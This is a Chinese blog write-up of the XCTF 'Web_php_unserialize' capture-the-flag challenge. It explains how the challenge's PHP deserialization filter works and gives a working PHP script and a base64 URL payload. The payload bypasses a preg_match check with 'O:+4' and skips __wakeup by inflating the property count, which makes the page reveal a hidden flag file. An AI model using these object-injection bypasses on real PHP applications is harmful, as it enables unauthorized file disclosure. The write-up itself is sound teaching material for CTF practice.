XCTF-Web_php_unserialize
访问查看
是一道经典的反序列化题目,尝试解题,大概一下脚本,需要传入var
进行反序列化
- php代码会先将
var
传入的值进行base64
解码, - 然后进行
perg_match()
正则匹配判断,如果匹配成立就执行die()
方法终止脚本运行 - 使用
unserialize()
方法反序列化我们传入的值 __wakeup()
在反序列化时候执行将$file
变量赋值为index.php
__destruct
在程序销毁的时候使用highlight_file()
方法查看$file
文件的内容
这里我们的目标就明确了,更改$file
值的内容fl4g.php
(在注释中),需要绕过两个条件:
preg_match()
正则匹配- 改题目匹配的条件就是
/[oc]:\d+:/i
,左右两个/
代表这是正则匹配的条件,里面[oc]
代表使用o
或c
开头,然后后面匹配:
,然后d+
匹配一个或者多个数字
,最后匹配一个冒号,最后/
后面的i
代表不区分大小写 - 最后匹配的条件举例如下:
O:1234:
、O:510:
、C:4321:
- 改题目匹配的条件就是
__wakeup()
初始化赋值- 使用常见的
CVE
绕过
- 使用常见的
上述中,我们反序列化后的对象一般都是O:4:
开头,所以需要绕过。在PHP
中,O:4:
和O:+4:
的意思是一样的,所以最后脚本如下
<?php
class Demo {
private $file = 'fl4g.php';
}
$new = new Demo();
$ser = serialize($new);
// 替换绕过 preg_match
$ser = str_replace("O:4","O:+4",$ser);
// 替换绕过 wakeup
$ser = str_replace(":1:",":2:",$ser);
print(base64_encode($ser));
?>
使用地址栏传入var
的值
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
2022-11-26 archlinux 源配置 桌面美化 终端美化 常用软件 grub配置